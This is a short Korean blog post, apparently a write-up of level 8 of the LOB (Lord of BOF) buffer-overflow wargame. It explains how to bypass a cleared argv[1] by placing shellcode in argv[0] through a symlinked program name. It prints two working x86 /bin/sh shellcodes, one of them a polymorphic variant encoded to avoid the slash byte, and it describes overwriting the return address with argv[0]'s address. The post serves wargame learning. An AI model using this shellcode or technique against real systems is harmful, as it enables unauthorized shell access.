LOB-level8
이번 문제는 시간이 많이 걸렸습니다. argv[1]에 쉘코드를 넣어도 25자이상이기 때문에 초기화가 되버려서 리턴어드레스 값을 변조해주어도 원하는 실행이 되지 않았습니다. 따라서 생각한 방법이 argv[0]을 이용한 방법입니다. 일단 과정부터 첨부하겠습니다.
원래 troll.c 코드에서 argv[0]의 주소를 알아내도록 조작
여기서 많은 시간을 소모했는데
기존에 쓰던 shellcode,
"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"
이 것을 쓰면
\x2f가 들어가 원래 존재하는 디렉토리가 아닌 이상은 링크를 해주지 않는다는 것입니다.
따라서 다른 쉘코드를 썼습니다.
\x2f가 없는 다형성 쉘코드: "\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"'`
argv[1]에서는 어차피 buffer가 초기화 되기 때문에 sfp까지 NULL로 채운뒤 리턴어드레스만 argv[0]의 시작주소를 주면 답을 얻을 수가 있었습니다.
0 개의 댓글